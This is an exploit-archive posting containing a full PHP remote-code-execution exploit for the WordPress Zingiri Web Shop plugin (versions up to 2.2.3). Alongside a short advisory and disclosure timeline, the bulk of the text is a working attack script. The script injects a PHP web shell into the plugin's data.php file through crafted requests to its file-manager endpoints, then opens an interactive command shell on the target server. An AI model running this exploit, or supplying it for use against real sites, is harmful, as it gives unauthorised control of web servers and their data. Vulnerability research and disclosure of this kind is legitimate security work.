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WordPress Zingiri 2.2.3 Code Execution

WordPress Zingiri 2.2.3 Code Execution
Posted Nov 13, 2011
Authored by EgiX

The WordPress Zingiri plugin versions 2.2.3 and below suffer from a code execution vulnerability in ajax_save_name.php.

tags | exploit, php, code execution
SHA-256 | 0ef65aff1100619321dc29eb5f7be615cb790f5fd230f08b18b2ca6ec35edd76

WordPress Zingiri 2.2.3 Code Execution

Change Mirror Download
<?php

/*
------------------------------------------------------------------------
Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit
------------------------------------------------------------------------

author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://wordpress.org/extend/plugins/zingiri-web-shop/
affected versions....: from 0.9.12 to 2.2.3

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php

37. @ob_start();
38. include_once(CLASS_SESSION_ACTION);
39. $sessionAction = new SessionAction();
40. $selectedDocuments = $sessionAction->get();
41. if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
42. {
43. if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
44. {
45. $selectedDocuments[$key] = $_POST['value'];
46. $sessionAction->set($selectedDocuments);
47.
48. }
49. echo basename($_POST['id']) . "\n";
50. displayArray($selectedDocuments);
51.
52. }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
53. {
54. $sessionAction->setFolder($_POST['id']);
55. }
56. writeInfo(ob_get_clean());

An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50,
then at line 56 is called the 'writeInfo' function using the current buffer contents as argument.
Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function
writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code.

[-] Note:

The same vulnerability affects also the Joomla component (http://extensions.joomla.org/extensions/e-commerce/shopping-cart/13580)
but isn't exploitable due to a misconfiguration in 'CONFIG_SYS_ROOT_PATH' constant definition.

[-] Disclosure timeline:

[23/11/2011] - Vulnerability discovered
[25/10/2011] - Issue reported to http://forums.zingiri.com/
[12/11/2011] - Version 2.2.4 released
[13/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

$fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);
return stream_get_contents($sock);
}

function get_root_dir()
{
global $host, $path, $fileman;

$packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

if (!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n[-] Root folder path not found!\n");
return $m[1];
}

function random_mkdir()
{
global $host, $path, $fileman, $rootdir;

$dirname = uniqid();

$payload = "new_folder={$dirname}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);
return $dirname;
}

print "\n+----------------------------------------------------------------------------------+";
print "\n| Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /wordpress/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$rootdir = get_root_dir();
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

$payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");

$dirname = random_mkdir();
$newname = uniqid();

$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nzingiri-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}

?>


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